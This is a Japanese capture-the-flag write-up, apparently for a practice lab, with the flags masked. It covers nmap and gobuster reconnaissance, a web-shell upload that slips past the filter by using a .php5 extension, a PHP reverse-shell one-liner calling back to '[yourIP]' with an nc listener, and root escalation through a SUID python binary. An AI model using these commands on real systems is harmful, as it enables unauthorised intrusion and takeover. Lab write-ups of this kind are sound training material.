一部を■で隠しています。
Task2:偵察
設問を見ると何をすればいいかが分かる。nmapとGoBusterしよう。
$ nmap -sC -sV $IP 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) $ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt http://$IP/panel (Status: 301)
Task3 : シェル獲得
設問にリバースシェルをアップロードまで書いてしまっているので、それをやる。
/panel/
にアクセスしてみよう。
アップロード画面ですね。念のため/panel/index.php
としてみるとつながるのでphpをwebshellを上げてやればよさそう。
何とかphpファイルをアップロードする
GitHub - artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
ここらへんがいいんじゃないかな。
とりあえずアップロードしてみる。
だめらしい。bypass方法は色々考えられるが、一番簡単な拡張子の変形でbypassしてみる。
実はPHPは色んな拡張子が使える。.php .php3 .php4 .php5 .phtml
php5に変えてみるとアップロードできた。
アップロード先へ行ってみるとWebshellが起動しているのでリバースシェルをやろう。
リバースシェル
自分のPCで> nc -vnlp 30303
こんな風に待って、`php -r '$sock=fsockopen("[yourIP]",30303);exec("/bin/sh -i <&3 >&3 2>&3");''で起動。
ログインユーザーのホームディレクトリにuser.txtがあった。
$ cd ~ $ ls html user.txt $ cat user.txt ■■■■■■■■■■
Task 4: 権限昇格
設問にはSUIDを見よと書いてあるので、見てみよう。
$ find / -type f -user root -perm -4000 2>/dev/null /usr/bin/python
GTFOBinsに情報があるかと、設問の文字数を見ながら探すと、pythonを使えばよさそうである。
$ sudo install -m =xs $(which python) . sudo: no tty present and no askpass program specified $ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")' id uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) ls / bin boot cdrom dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv swap.img sys tmp usr var vmlinuz vmlinuz.old ls /root root.txt cat /root/root.txt ■■■■■■■■■■■■■■■
ok. pythonのSUIDによる権限昇格コードはそのままコピペじゃ動かず、pythonの場所をフルパスにしないといけないので注意。